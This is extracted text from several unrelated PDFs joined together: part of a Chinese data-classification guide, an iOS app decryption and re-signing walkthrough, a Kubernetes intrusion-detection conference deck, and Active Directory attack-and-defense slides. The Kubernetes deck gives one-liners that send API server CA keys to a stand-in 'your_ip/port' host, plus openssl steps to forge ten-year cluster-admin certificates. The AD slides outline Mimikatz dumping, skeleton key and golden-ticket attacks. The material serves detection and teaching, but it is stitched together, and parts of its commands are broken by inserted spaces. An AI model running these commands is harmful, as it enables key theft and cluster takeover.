未成年人个人信息 14 岁以下(含)未成年人的个人信息 身份鉴别信息 用于验证主体是否具有访问或使用权限的信息,包括但不限于登录密 码、支付密码、账户查询密码、交易密码、银行卡有效期、银行卡片 验证码(CVN 和 CVN2)、口令、动态口令、口令保护答案、短信验 证码、密码提示问题答案、随机令牌等 其他敏感个人信息 种族、性取向、婚史、宗教信仰、未公开的违法犯罪记录等 28 B.3 私密个人信息识别参考 按照个人信息的私密程度,个人信息也可分成私密个人信息、非 私密个人信息。私密个人信息,是个人信息中不愿为他人知晓的个人 隐私信息。 私密个人信息的判定,需要同时满足“秘密性”和“私人性”两 个条件: a)该信息为私人所享有,信息主体有权决定是否对该信息进行 公开; b)从社会公众的一般认知和价值认识综合权衡,该信息一旦泄 露,会侵害个人的隐私权,但通常不会危害他人及公共利益。 在考虑场景的前提下,常见的私密个人信息有:身体缺陷、女性 三围、心理特征、个人感情生活、性取向、未公开的违法犯罪记录、 个人身体私密部位信息、个人私密录音等。 29 附录 C 部分行业数据分类分级参考示例 C.1 工业数据分类参考 《工业数据分类分级指南(试行)》(工信厅信发〔2020〕6 号) 是由工业和信息化部于 2020 年 2 月发布,提出了工业数据分类分级 的方法以及分级管理要求,适用于工业和信息化主管部门、工业企业、 平台企业等开展工业数据分类分级工作。 《工业数据分类分级指南(试行)》中定义的工业数据是工业领 域产品和服务全生命周期产生和应用的数据,包括但不限于工业企业 在研发设计、生产制造、经营管理、运维服务等环节中生成和使用的 数据,以及工业互联网平台企业(以下简称平台企业)在设备接入、 平台运行、工业 App 应用等过程中生成和使用的数据。工业数据的分 类示例如表 C.1 所示。 表C.1 工业数据分类参考示例 一级子类 二级子类 三级子类 工业企业工业数据 研发数据域 研发设计数据 开发测试数据 生产数据域 控制信息 工况状态 工艺参数 系统日志 运维数据域 物流数据 产品售后服务数据 管理数据域 系统设备资产信息 客户与产品信息 产品供应链数据 业务统计数据 外部数据域 与其他主体共享的数据 30 一级子类 二级子类 三级子类 平台企业工业数据 平台运营数据域 物联采集数据 知识库模型库数据 研发数据 企业管理数据域 客户数据 业务合作数据 人事财务数据 C.2 电信数据分类参考 YD/T 3813—2020《基础电信企业数据分类分级方法》提出了基 础电信企业数据分类分级的原则,明确了分类分级方法和工作流程, 并给出了基础电信企业数据的分类分级示例。 《基础电信企业数据分类分级方法》所规定的数据范围包括基础 电信企业生产经营和管理活动中产生、采集、加工、使用和管理的网 络数据和非网络数据。根据基础电信企业业务运营管理和数据安全管 理特点,将企业数据分为用户相关数据和企业自身相关数据两大类, 表 C.2 给出了这两大类数据的详细分类示例。 表C.2 基础电信企业数据分类参考示例 一级子类 二级子类 三级子类 四级类别 用户相关数据 用户身份相关数据 用户身份相关数据 自然人身份标识、网络身份 标识、用户基本资料、实体 身份证明、用户私密资料 用户服务内容数据 服务内容和资料数据 服务内容数据、联系人信息 用户服务衍生数据 用户服务使用数据 业务订购关系、服务记录和 日志、消费信息和账单、位 置数据、违规记录数据 设备信息 终端设备标识、终端设备资 料 用户统计分析类数 据 用户使用习惯和行为分 析数据 31 一级子类 二级子类 三级子类 四级类别 用户上网行为相关统计 分析数据 企业自身相关 数据 网络与系统的建设 与运行维护类数据 规划建设类数据(分发 布前后) 网络规划类、投资计划类、 项目管理类 网络与系统资源类数据 公共资源类数据、传输资源 类数据、承载网资源、核心 网资源、接入网资源、IT 系 统资源、云资源 网络与系统运维类数据 信令、路由信息、网段、网 址、VLAN 划分、设备监测、 告警、信令监测、流量监测、 运维日志、运维系统账号密 码等、系统运行状况统计分 析 网络安全管理类数据 安全审计记录、网络安全应 急预案、违法有害信息监 测、核心区域监控、网络威 胁数据 业务运营类数据 业务运营服务数据 产品信息、渠道信息、客户 服务信息、营销信息 公开业务运营服务数据 企业管理数据 发展战略与重大决策 发展战略、重大决策与重要 会议 业务发展类 市场策略、营销管理、资费 管理、产品发展策略 技术研发类 技术管理、技术研究报告、 专利工作 运行管理类 生产经营类 财务预算、业绩披露、考核 相关信息、生产经营数据 综合管理类 人力资源、财务信息、办公 自动化、采购 其他数据 合作方提供数据 32 C.3 金融数据分类参考 金融行业中,以 JR/T 0171—2020《个人金融信息保护技术规范》、 JR/T 0197—2020《金融数据安全 数据安全分级指南》和 JR/T 0158— 2018《证券期货业数据分类分级指引》三个行业标准对金融数据分类 分级给出了具体指导。 JR/T 0171—2020《个人金融信息保护技术规范》中规定的个人金 融信息是指金融业机构通过提供金融产品和服务或者其他渠道获取、 加工和保存的个人信息。个人金融信息的分类分级可以参考该标准提 出的方法执行。标准同时给出了个人金融信息生命周期技术要求和管 理要求。 JR/T 0158—2018《证券期货业数据分类分级指引》中针对证券期 货行业经营和管理活动中产生、采集、加工、使用或管理的网络数据 或非网络数据提出了分类分级的原则、方法和流程,并给出了 6 种行 业内典型机构的数据分类分级模板。 JR/T 0197—2020《金融数据安全 数据安全分级指南》是在 JR/T 0171—2020 和 JR/T 0158—2018 基础上的进一步拓展,将数据分类分 级的范围扩大至金融数据。该标准中定义的金融数据是金融业机构开 展金融业务、提供金融服务以及日常经营管理所需或产生的各类数据。 标准内容包括金融数据的定级原则、定级要素、定级规则和定级流程, 并在附录中提出了金融数据安全的分类示例,如表 C.3 所示。 33 表C.3 金融数据分类参考示例 一级子类 二级子类 三级子类 客户 个人 个人自然信息、个人身份鉴别信息、个人资讯信息、个 人关系信息、个人行为信息、个人标签信息 单位 单位基本信息、单位身份鉴别信息、单位资讯信息、单 位关系信息、单位行为信息、单位标签信息 业务 账户信息 账户信息 法定数字货币钱 包信息 基本信息 合约协议 合同通用信息、存款业务信息、贷款业务信息、中间业 务信息、资金业务信息、投资理财业务信息、信用卡业 务信息、非银行支付业务信息、商户签约信息、保险业 务信息、再保险业务信息、信托业务信息、金融资产管 理公司业务信息 金融监管和服务 反洗钱业务信息、国库业务信息、货币金银业务信息、 存款保险业务信息、身份核查业务信息、征信管理业务 信息、非银行支付机构非现场监管业务信息、支付结算 业务信息、LEI 管理业务信息、机构管理业务信息、再 贷款业务信息、利率报备业务信息、房地产监测分析业 务信息、舆情监测业务信息、行政预审批业务信息、跨 境收付业务信息、金融消费权益保护业务信息、金融稳 定分析业务信息 交易信息 交易通用信息、保险收付费信息 经营管理 营销服务 产品信息、渠道信息、营销信息 运营管理 安防管理信息、业务运维信息、客户服务信息、单证管 理信息、合作单位信息、音影像信息 风险管理信息 风险偏好信息、风险管控信息 技术管理 项目管理信息、系统管理信息 综合管理 战略规划信息、招聘信息、员工信息、机构信息、财务 信息、资产负债信息、行政信息、内控合规信息 监管 数据报送 监管报送信息 数据收取 评级、处罚与违规信息、监管统计及预警信息、外部审 计信息 34 C.4 部分行业数据分级对应关系参考 工业、电信、金融行业的数据分级规则,与本实践指南提出的基 本分级框架(见 4.2、6.2)和一般数据分级规则(见 6.3)的对应关系 参考说明,如表 C.4 所示。 表C.4 部分行业数据分级对应关系参考 行业领域 规则来源 行业数据分级 对应的本指南数据分级 工业 《工业数据分类分级指南 (试行)》 工业数据三级 核心数据级 工业数据二级 重要数据级 工业数据一级 一般数据级 电信 YD/T 3813—2020《基础电 信企业数据分类分级方 法》 第一级 一般数据 1 级 第二级 一般数据 2 级 第三级 一般数据 3 级 第四级 一般数据 4 级 YD/T 3867—2021《基础电 信企业重要数据识别指 南》 重要数据 重要数据级 金融 JR/T 0197—2020《金融数 据安全 数据安全分级指 南》 5 级 重要数据级 4 级 一般数据 4 级 3 级 一般数据 3 级 2 级 一般数据 2 级 1 级 一般数据 1 级 JR/T 0171—2020《个人金 融信息保护技术规范》 C3 一般数据 4 级 C2 一般数据 3 级、4 级 C1 一般数据 1 级、2 级 35 参考文献 [1] 《中华人民共和国数据安全法》 [2] 《中华人民共和国个人信息保护法》 [3] 《网络数据安全管理条例(征求意见稿)》 [4] 《工业和信息化领域数据安全管理办法(试行)(征求意见稿)》 [5] 《中央企业商业秘密保护暂行规定》 [6] GB/T 4754—2017 国民经济行业分类 [7] GB/T 35273—2020 信息安全技术 个人信息安全规范 [8] GB/T 37973—2019 信息安全技术 大数据安全管理指南 [9] GB/T 38667—2020 信息技术 大数据 数据分类指南 [10] 信息安全技术 重要数据识别指南(征求意见稿) [11] JR/T 0158—2018 证券期货业数据分类分级指引 [12] JR/T 0171—2020 个人金融信息保护技术规范 [13] JR/T 0197—2020 金融数据安全 数据安全分级指南 [14] YD/T 3813—2020 基础电信企业数据分类分级方法 [15] YD/T 3867—2021 基础电信企业重要数据识别指南 [16] 北京市地方标准《政务数据分级与安全保护规范》 [17] 贵州省地方标准 DB 52/T 1123—2016《政府数据 数据分类分级 指南》 [18] 上海市公共数据开放分级分类指南(试行) [19] 内蒙古自治区地方标准《公共数据分类分级指南》
pdf
android appios iosios iphone6 12.4.5 12.4.5CheckRa1n CheckRa1n --CheckRa1n Welcome to checkra1nstart next start 1.start 2.sidehome 3.sidehome checkra1n cydia frida python3 python3.7 frida cydiafrida https://build.frida.re cydia--- cydiafridafrida,iOSfrida frida for pre-A12iPhone6sA9 pip install frida pip install frida-tools pip install objection frida frida ~ » frida --version 14.2.13 ~ » frida-ls-devices tea@teadeMBP Id Type Name ---------------------------------------- ------ ------------ local local Local System 4443c74f7b644116cdc90386281868199f45a13a usb iPhone socket remote Local Socket -------- iosappFairPlayDRM frida-io-dump usbmuxd usbmuxd http://cgit.sukimashita.com/usbmuxd.git/snapshot/usbmuxd-1.0.8.tar.gz usb python-client » frida-ps -U tea@teadeMBP PID Name ---- -------------------------------------------------------- 925 Cydia 2495 ScreenshotServicesService 236 checkra1n 2426 2472 253 151 AGXCompilerService 126 AGXCompilerService 74 AppleCredentialManagerDaemon 170 AssetCacheLocatorS ~ » frida-ps -Ua tea@teadeMBP PID Name Identifier ---- --------- ----------------------- 925 Cydia com.saurik.Cydia 236 checkra1n kjc.loader 2426 com.alipay.iphoneclient 2472 com.apple.Preferences 253 com.apple.mobilemail frida-ios-dump git clone https://github.com/AloneMonkey/frida-ios-dump.git cd frida-ios-dump sudo pip install -r requirements.txt --upgrade xcode xcodeappstorexcode https://developer.apple.com/download/more/?=xcode xcode xcodeappstorexcode- macos Catalina 10.15.6xcode11.7 Xcode_11.7.xip xcodeApplications 1. 20G 2. xattr -d com.apple.quarantine Xcode_11.7.xip 3. cd python-client macios tcprelay.py -t iOS:mac python tcprelay.py -t 22:2222 ssh root@localhost -p 2222 alpine NameIdentifier cd frida-ios-dump python dump.py Aftenposten frida-ios-dump http://dantheman827.github.io/ios-app-signer/ github:https://github.com/DanTheMan827/ios-app-signer http://dantheman827.github.io/ios-app-signer/ xcode idid General-Deployment Info idGeneral-Identityid Input File Signing Certificate Provisioning Profile (.mobileprovision Re-Sign Only ) Start [Mac] ios app signer app ipa cd /Payload/xx.app security cms -D -i embedded.mobileprovision <key>TeamIdentifier</key> <array> codesign ipa ipa IPA <string>RYPxxxH4N</string> </array> <key>TeamName</key> <string>Shxxxd</string> <key>TimeToLive</key> <integer>365</integer> <key>UUID</key> <string>b2dxxxb08</string> <key>Version</key> <integer>1</integer> codesign -vv -d xx.app Executable=/Users/xx/Documents/Payload/xx.app/xx Identifier=com.xx.xx Format=app bundle with Mach-O thin (arm64) CodeDirectory v=20400 size=412917 flags=0x0(none) hashes=12895+5 location=embedded Signature size=4894 Authority=Apple Development: xx xx (UXxxxxx) Authority=Apple Worlxxrity Authority=Apple Root CA Signed Time=Mar 16, 2021 at 5:33:54 PM Info.plist entries=53 TeamIdentifier=RYxxxxxx Sealed Resources version=2 rules=10 files=3414 Internal requirements count=1 size=176 ppxcode xcodewindow-Devices and Simulators LINKS usbmuxdssh-iOS iosfrida macOS Xcode macOS 10.11.6 Xcode 8.0 Xcodeipa brew install ideviceinstaller idevicesyslog idevicesyslog | grep 'installd' --color -A 10 -B 10
pdf
KUBERNETES中的异常活动检测 About me 0 1 @9ian1i 朱思宇 blue teamer,入侵对抗,业余安全开发,阿里云融媒体安全。 DEFCON Blue Team Village,Black Hat Arsenal 演讲者。 WatchAD – AD Security Intrusion Detection System crawlergo – A powerful browser crawler for web vulnerability scanners ??? - kubernetes abnormal activity detection and blocking system 开源安全项目: 安全风险 安全防护 K8S安全风险与防护现状 0 2 Threat matrix for Kubernetes 0 3 K8S安全防护现状 *检测能力数据来自各家官方网站文档 https://docs.microsoft.com/en-us/azure/security-center/alerts-reference#alerts-k8scluster https://help.aliyun.com/document_detail/191144.html#title-seo-no0-8zv Alibaba Cloud Google Cloud Azure Cloud 0 AWS Cloud 0 7 云厂商 15 K8S集群异常活动检测项数量 具备相关能力的国外安全厂商 除了云厂商,国内普遍对K8S安全防护关注不够,还停留在基线加固阶段 04 检测与对抗 05 Architecture based of audit logs detection 0 6 UI User Interface CLI Co mman d Lin e in terface API Server Master AuditLog Logtail Agent MQ Threat Analytics Alerts for suspicious activities Node 1 Node 2 Node n 0 7 About k8s auditing *审计策略格式样例 k8s审计事件日志可记录访问API Server的所有请求,配合审 计策略设置,能记录请求与响应的详细数据。 每个Master节点上的审计日志并不会相互同步,需要收集所 有Master节点。 它能记录下面三个关键问题: • 用户身份与授权信息 • 请求的操作与资源详情 • 请求的结果与响应 0 8 User Interface Master etcd API Server Control- manager scheduler ns default-token-xxxxx sa-token-xxxxx other-token-xxxxx Host Secrets Node Pod Pod Compromised container Web App Access API Server Master A Master B Master N API Server API Server API Server 负载 均衡 6443 8080 容器集群渗透工具 匿名登录尝试 集群信息探测 0 9 SA Suspicious Activity 通过对SA进行行为学习记录,建立操作基线,超出则告警。 1 0 Honeypot Account ns Node Secrets default-token-xxxxx normal-sa-token-xxxxx fake-admin-token-xxxxx ... Pod A Pod B Host OS file: ~/.kube/kubeconfig 投放 蜜饵账户 ... 1 1 About k8s RBAC 1 2 Privilege Escalation – RBAC rolebinding/bind hacker API Server Create rolebinding auditing normalaccount cluster-admin role admin privileges account 1 3 Privilege Escalation – RBAC createpod and SA bind hacker createpod privilege create pod req API Server pod send token Get admin JWT token 1 4 Certificate Authentication = Golden Ticket ? UI User Interface K8S的重要认证几乎都依赖客户端证书机制,三套CA证书与私钥是认证体系的安全核心 1 5 Golden Ticket – Client Certificate ap iVersio n : v 1 k in d : Po d metad ata: n ame: g et-crt-k ey n amesp ace: k u b e-sy stem sp ec: h o stIPC: tru e n o d eName: master v o lu mes: - n ame: k 8 s h o stPath : p ath : /etc/k u bern etes/ co n tain ers: - imag e: cen to s:7 n ame: cen to s co mman d : ["/b in /b ash "] arg s: ["-c", "co mman d "] v o lu meMo u nts: - mo u n tPath : "/etc/k ub ern etes" n ame: k 8 s 如何生成一张超级管理员金票? 第一步:窃取API Server的CA证书和私钥,并发送到远程服务器 hacker create pod req 读取并发送CA证书 p s -au x | g rep k ub e-ap iserv er |awk 'BEGIN{i=1 }{g su b (/\s/,"\n ");i++;p rint}' | g rep ' \-\-clien t-ca-file' | awk -F= '{p rin t $ 2}' | xarg s cat > /dev /tcp /y ou r_ip /po rt 读取并发送CA私钥 p s -au x | g rep k ub e-co ntro ller-man ag er | awk ' BEGIN{i=1 }{g su b (/\s/,"\n ");i++;p rint}' |g rep ' \-\-cluster-sig n ing -key -file' | awk -F= ' {p rin t $ 2}' | xarg s cat > /dev /tcp /yo ur_ ip/po rt 1 6 第二步:使用CA私钥与证书,本地签发cluster-admin证书 Golden Ticket – Client Certificate cluster-admin 生成个人私钥 openssl genrsa -out admin.key 2048 生成cluster-admin用户,masters组的证书请求 openssl req -new -key admin.key -out admin.csr -subj "/CN=cluster-admin/O=system:masters" 用上述生成的证书请求,签发金票证书,有效期10年 openssl x509 -req -in admin.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out admin.crt -days 3650 1 7 Golden Ticket – User Forgery 如何生成一张任意用户(即使不存在)的金票? 第一步:窃取requestheader的CA证书和私钥,查询 , 并发送到远程服务器。 —requestheader-allowed-names hacker create pod req ap iVersio n : v 1 k in d : Po d metad ata: n ame: g et-crt-k ey n amesp ace: k u b e-sy stem sp ec: h o stIPC: tru e n o d eName: master v o lu mes: - n ame: k 8 s h o stPath : p ath : /etc/k u bern etes/ co n tain ers: - imag e: cen to s:7 n ame: cen to s co mman d : ["/b in /b ash "] arg s: ["-c", "co mman d "] v o lu meMo u nts: - mo u n tPath : "/etc/k ub ern etes" n ame: k 8 s 读取并发送CA证书 ps -aux | grep kube-apiserver | awk 'BEGIN{i=1}{gsub(/\s/,"\n");i++;print}' | grep '\-\-requestheader- client-ca-file' | awk -F= '{print $2}'| xargs cat > /dev/tcp/your_ip/port 读取并发送CA私钥 cat /etc/kubernetes/pki/front-proxy-ca.key > /dev/tcp/your_ip/port 读取并发送 requestheader-allowed-names ps -aux | grep kube-apiserver | awk 'BEGIN{i=1}{gsub(/\s/,"\n");i++;print}' | grep '\-\-requestheader- allowed-names' | awk -F= '{print $2}'> /dev/tcp/your_ip/port CA私钥 CA证书 requestheader-allowed-names front-proxy-client 1 8 hacker Golden Ticket – User Forgery 第二步:使用requestheader的CA私钥与证书,本地签发指定用户证书 生成个人私钥 openssl genrsa -out user.key 2048 生成 CN=front-proxy-client证书请求 openssl req -new -key user.key -out user.csr -subj "/CN=front-proxy-client" 用上述生成的证书请求,签发证书,有效时间10年 openssl x509 -req -in user.csr -CA front-proxy-ca.crt -CAkey front-proxy-ca.key -CAcreateserial -out user.crt -days 3650 第三步:使用该证书发起请求,伪造任意用户 curl -ki --cacert front-proxy-ca.crt --key siyu.key --cert siyu.crt http://39.107.182.57:6443/api/v1/secrets -H 'X-Remote-Group: system:masters' -H 'X-Remote-User: hacker' 1 9 Defense Evasion remove audit log settings set --allow-privileged=true set --insecure-port=9443 set --secure-port=9444 set --anonymous-auth=true set --authorization-mode=AlwaysAllow dump create update kube-apiserver- xxx.yaml Shadow API Server 2 0 怎么优化? 已知问题: • 存在攻击手法可绕过K8S审计事件日志。 • 当前架构只能事后审计检测,无法实时阻断。 • 对于非云环境,大规模日志实时消费对于基础设施有一定要求。 除了审计事件日志,我们还能从什么地方进行检测? 2 1 Validating admission webhook 2 2 Architecture UI User Interface CLI Co mman d Lin e in terface API Server Master Alerts for suspicious activities Node 1 Node 2 Node n Mutating Webhooks Validating Webhooks etcd Threat Analytics Threat Analytics By audit log Dynamic Admission Control 2 3 Dynamic Admission Control { "ap iVersio n ": "ad missio n .k 8 s.io/v 1b eta1 ", "k in d ": "Ad missio n Rev iew", "req u est": { "u id ": "7 0 5 ab 4f5 -63 93 -11 e8 -b7 cc-4 20 10 a8 00 00 2", "k in d ": { "g ro u p ": "au toscalin g ", "v ersio n ": "v 1 ", "k in d ": "Scale" }, "reso u rce": { "g ro u p ": "ap ps", "v ersio n ": "v 1 ", "reso u rce": "d ep lo y men ts" }, "su b Reso u rce": "scale", "req u estKin d ": { "g ro u p ": "au toscalin g ", "v ersio n ": "v 1 ", "k in d ": "Scale" }, "req u estReso u rce": { "g ro u p ": "ap ps", "v ersio n ": "v 1 ", "reso u rce": "d ep lo y men ts” ... ... API Server // 遍历启动参数 查找风险项 for _, container := range pod.Spec.Containers { for _, cmd := range container.Command { if util.SliceFindStr(riskCmd, cmd) { // 发现风险启动命令 vulCmdList = append(vulCmdList, cmd) } } // 查找是否开启了审计日志,未找到则告警 for _, prefix := range auditSettingPrefix { if !util.SlicePrefixFind(container.Command, prefix) { missingAuditSettings = append(missingAuditSettings, prefix) } } } AdmissionReview Request All Requests Operations that need to be persisted to etcd 2 4 No coding , More Cloud Native Gatekeeper https://github.com/open-policy-agent/gatekeeper https://github.com/open-policy-agent/opa OPA kube-mgmt apiVersion: constraints.gatekeeper.sh/v1be ta1 kind: K8sRequiredLabels metadata: name: ns-must-have-gk spec: match: kinds: - apiGroups: [""] kinds: ["Namespace"] parameters: labels: ["gatekeeper"] CLI Co mman d Lin e in terface API Server Validating Webhooks etcd 2 5 End K8S中心化管理带来的便捷,就会带来对应的安全风险,同时放大安全影响。 传统基于主机的防御架构和思路,在云原生环境上会明显水土不服。 • 传统环境注重横向移动,更多的在应用层寻找突破口。 • 云原生安全中,作为关键基础设施的K8S集群最为重要,攻击会更多的围绕拿下集群管理权限, 从而接管整个集群,控制所有机器。 @9ian1i @Qianlitp 9ian1itp@gmail.com 阿里云融媒体安全持续招聘入侵对抗、风控、应用安全、安全研发。 2 6 M A N O E U V R E 感谢观看! KCon 汇聚黑客的智慧
pdf
Red vs. Blue: Modern Active Directory Attacks & Defense Sean Metcalf CTO DAn Solutions sean [@] dansolutions . com http://DAnSolutions.com http://www.ADSecurity.org Photo by Ed Speir IV. All Rights Reserved. Used with Permission. ABOUT Chief Technology Officer - DAn Solutions Microsoft Certified Master (MCM) Directory Services Security Researcher / Purple Team Security Info -> ADSecurity.org AGENDA Red Team (Recon, Escalate, Persist) Blue Team (Detect, Mitigate, Prevent) Kerberos TGT Ticket Kerberos Overview Kerberos Key Points NTLM password used for Kerberos RC4 encryption. Logon Ticket (TGT) proves prior user auth to DC. Kerberos policy only checked at TGT creation DC only validates user account when TGT > 20 mins. Service Ticket (TGS) PAC validation is optional & rare. Red Team (Offense) “SPN Scanning” Service Discovery SQL servers, instances, ports, etc. MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433 Exchange Client Access Servers exchangeMDB/adsmsEXCAS01.adsecurity.org RDP TERMSERV/adsmsEXCAS01.adsecurity.org Going from N/A to DA (Domain Admin) Poor Service Account Passwords Passwords in SYSVOL Credential Theft Misconfiguration / Incorrect Perms Exploit Vulnerability SPN Scanning for Service Accounts with Find-PSServiceAccounts SPN Directory: http://adsecurity.org/?page_id=183 Cracking Service Account Passwords (Kerberoast) Request/Save TGS service tickets & crack offline. “Kerberoast” python-based TGS password cracker. No elevated rights required. No traffic sent to target. Kerberoast: Request TGS Service Ticket Kerberoast: Save & Crack TGS Service Ticket Exploiting Group Policy Preferences \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\ Mimikatz: The Credential Multi-tool Dump credentials Windows protected memory (LSASS). * Active Directory Domain Controller database . * Dump Kerberos tickets for all users. * for current user. Credential Injection Password hash (pass-the-hash) Kerberos ticket (pass-the-ticket) Generate Silver and/or Golden tickets And so much more! Dump Credentials with Mimikatz User Service Account Dumping AD Domain Credentials Dump credentials on DC (local or remote). Run Mimikatz (WCE, etc) on DC. Invoke-Mimikatz on DC via PS Remoting. Get access to the NTDS.dit file & extract data. Copy AD database from remote DC. Grab AD database copy from backup. Get Virtual DC data. Dump AD Credentials with Mimikatz Dump LSASS Process Memory Remotely Grab the DIT! Instead of VSS, why not leverage NTDSUtil? Finding NTDS.dit on the Network Are your DC backups properly secured? Who administers the virtual server hosting the DCs? Are your VMWare/Hyper-V host admins considered Domain Admins? Hint: They should be. Dump Password Hashes from NTDS.dit Pass The… Credential Pass the Hash Pass the Ticket Over Pass the Hash Over Pass the Hash MS14-068: (Microsoft) Kerberos Vulnerability MS14-068 (CVE-2014-6324) Patch released 11/18/2014 Domain Controller Kerberos Service (KDC) didn’t correctly validate the PAC checksum. Effectively re-write user ticket to be a Domain Admin. Own AD in 5 minutes http://adsecurity.org/?tag=ms14068 MS14-068 (PyKEK 12/5/2014) MS14-068 Kekeo Exploit MS14-068 Kekeo Exploit – Packet Capture User to Admin in 5 Minutes? Sneaky AD Persistence Tricks (Attacker has DA access for 5 minutes) DSRM SSP Skeleton Key SID History Kerberos Ticket Forging Local Policy Logon Scripts Group Policy Scheduled Tasks WMI Output | SYSVOL DSRM? What’s DSRM? •Directory Services Restore Mode •“Break glass” access to DC •DSRM password set when DC is promoted •Rarely changed. DSRM = DC Local Administrator Account Using DSRM Creds •Reboot to DSRM •Access DSRM without Rebooting (2k8+) •DsrmAdminLogonBehavior = 1 •Stop Active Directory (ntds) service •Console logon (not RDP) Using DSRM Creds •Access DSRM without Rebooting (2k8+) •DsrmAdminLogonBehavior = 2 •Stop Active Directory (ntds) service •Console logon (not RDP) Using DSRM Creds Over the Network •Console logon • VMWare Remote Console • (TCP 903) • Hyper-V VM Connection • (TCP 5900) • Network KVM Malicious Security Service Provider (SSP) •Mimikatz supports registry & in-memory updating Malicious Security Service Provider (SSP) Malicious Security Service Provider (SSP) Malicious Security Service Provider (SSP) Malicious Security Service Provider (SSP) Skeleton Key • Memory resident LSASS patch - “master key” for all accounts Skeleton Key • Account authentication success! With 2 different passwords? SID History • User account attribute supporting migration. • Mimikatz enables SID History injection to any user account. SID History SID History -> Domain Exploitation Forging Kerberos Golden/Silver Tickets Requires KRBTGT pw hash / service account pw hash. Forged TGT (Golden Ticket) bypasses all user restrictions. Create anywhere & use from any computer on the network. No elevated rights required to create/use. User password changes have no impact on forged ticket! KRBTGT: The Kerberos Service Account KRBTGT account: disabled and hidden by default. Sign/encrypt AD Kerberos tickets. Pwd set when domain created & (almost) never changes Password changes when DFL -> 2008 (or newer). Current & Previous Password valid for Kerberos tickets KRBTGT password exposed? Requires changing twice! Microsoft KRBTGT password change script on TechNet RODC Kerberos Account: KRBTGT_######. KRBTGT: The Kerberos Service Account The Golden Ticket (Forged TGT) Encrypted/Signed by KRBTGT (RID 502). Bypasses Smart Card authentication requirement Golden Ticket options: Impersonate existing Domain Admin Create Fictitious user Spoof access by adding groups to the ticket Impersonate C-level executive access Limited to Domain it’s created in * Where are the crown jewels? Golden Ticket (Forged TGT) Communication Forging a Golden Ticket: KRBTGT NTLM Hash Golden Ticket Limitation Admin rights limited to current domain. Doesn’t work across trusts unless in EA domain. Golden Ticket – Now More GOLDEN! Mimikatz now supports SID History in Golden Tickets The Silver Ticket (Forged TGS) Service account configured for Kerberos auth (SPN). Encrypted with the service account private key: Service account NLTM password hash AD computer account NLTM password hash Service opens TGS ticket to validate. Golden Ticket equivalent access to service. No associated TGT exists, so no comm with a DC Silver Ticket (Forged TGS) Communication Silver Ticket: Domain Controller Exploitation • Attacker dumped AD & has all domain creds. • Corp IT changed all user, admin, and service account passwords (and KRBTGT pw 2x). • Attacker still has Domain Controller computer account password hashes. What is possible with these? Silver Ticket: Domain Controller Exploitation Silver Ticket: Domain Controller Exploitation Silver Ticket: Domain Controller Exploitation Silver Ticket: Domain Controller Exploitation Silver Ticket: Domain Controller Exploitation Silver Ticket: Domain Controller Exploitation Gain access to a Domain Controller’s AD computer account password. Generate Silver Ticket for CIFS SPN to access file system via default shares. Generate Silver Ticket for HOST SPN to create scheduled task to run as local System (and re-exploit the domain). HOST = alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem, policyagent,oakley,dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman, netdde,netddedsm,nmagent,plugplay,protectedstorage,rasman,rpclocator,rpc,rpcss, remoteaccess,rsvp,samss,scardsvr,scesrv,seclogon,scm,dcom,cifs,spooler,snmp,schedule, tapisrv,trksvr,trkwks,ups,time,wins,www,http,w3svc,iisadmin,msdtc Blue Team (Defense) Detecting MS14-068 On the Wire AS-REQ TGS-REQ Detecting Forged Kerberos Golden (TGT) & Silver (TGS) Tickets • Normal, valid account logon event data structure: • Security ID: DOMAIN\AccountID • Account Name: AccountID • Account Domain: DOMAIN • Golden & Silver Ticket events may have one of these issues: • The Account Domain field is blank when it should contain DOMAIN. • The Account Domain field is DOMAIN FQDN when it should contain DOMAIN. • The Account Domain field contains “eo.oe.kiwi :)“ Detecting MS14-068 Exploit Security Events • Normal, valid account logon event data structure: • Security ID: DOMAIN\AccountID • Account Name: AccountID • Account Domain: DOMAIN •MS14-068 Exploit events may have 1 (or more) of these: • The Account Domain field is blank when it should be DOMAIN • The Account Domain field is DOMAIN FQDN when it should be DOMAIN. • Account Name is a different account from the Security ID. AD Attack Mitigation: PowerShell Security • Limit PowerShell Remoting (WinRM). • Limit WinRM listener scope to admin subnets. • Disable PowerShell Remoting (WinRM) on DCs. • Audit/block PowerShell script execution via AppLocker. • PowerShell v3+: Enable PowerShell Module logging (via GPO). • Search PowerShell logs for “mimikatz”, “gentilkiwi”, “Delpy”, “iex (new-object net.webclient).downloadstring”, etc • Leverage Metering for PowerShell usage trend analysis. • JoeUser ran PowerShell on 10 computers today? • Track PowerShell Remoting Usage PowerShell v5 Security Enhancements •System-wide transcripts •Script block logging •Constrained PowerShell •Antimalware Integration (Win 10) Mitigation Level One (Low) • Minimize the groups (& users) with DC admin/logon rights • Separate user & admin accounts (JoeUser & AdminJoeUser) • No user accounts in admin groups • Set all admin accounts to “sensitive & cannot be delegated” • Deploy Security Back-port patch (KB2871997) which adds local SIDs & enable regkey to prevent clear-text pw in LSASS. • Set GPO to prevent local accounts from connecting over network to computers (easy with KB2871997). • Use long, complex (>25 characters) passwords for SAs. • Delete (or secure) GPP policies and files with creds. • Patch server image (and servers) before running DCPromo • Implement RDP Restricted Admin mode Mitigation Level Two (Moderate) • Microsoft LAPS (or similar) to randomize computer local admin account passwords. • Service Accounts (SAs): • Leverage “(Group) Managed Service Accounts”. • Implement Fine-Grained Password Policies (DFL >2008). • Limit SAs to systems of the same security level, not shared between workstations & servers (for example). • Remove Windows 2003 from the network. • Separate Admin workstations for administrators (locked- down & no internet). • PowerShell logging Mitigation Level Three (“It’s Complicated”) • Number of Domain Admins = 0 • Complete separation of administration • ADAs use SmartCard auth w/ rotating pw • ADAs never logon to other security tiers. • ADAs should only logon to a DC (or admin workstation or server). • Time-based, temporary group membership. • No Domain Admin service accounts running on non-DCs. • Disable default local admin account & delete all other local accounts. • Implement network segmentation. • CMD Process logging & enhancement (KB3004375). New Admin Model Attack Detection Paradigm Shift • Microsoft Advanced Threat Analytics (ATA, formerly Aorato) • Monitors all network traffic to Domain Controllers • Baselines “normal activity” for each user (computers, resources, etc) • Alerts on suspicious activity by user • Natively detects recon & attack activity without writing rules • ATA Detection Capability: • Credential theft & use: Pass the hash, Pass the ticket, Over-Pass the hash, etc • MS14-068 exploits • Golden Ticket usage • DNS Reconnaissance • Password brute forcing 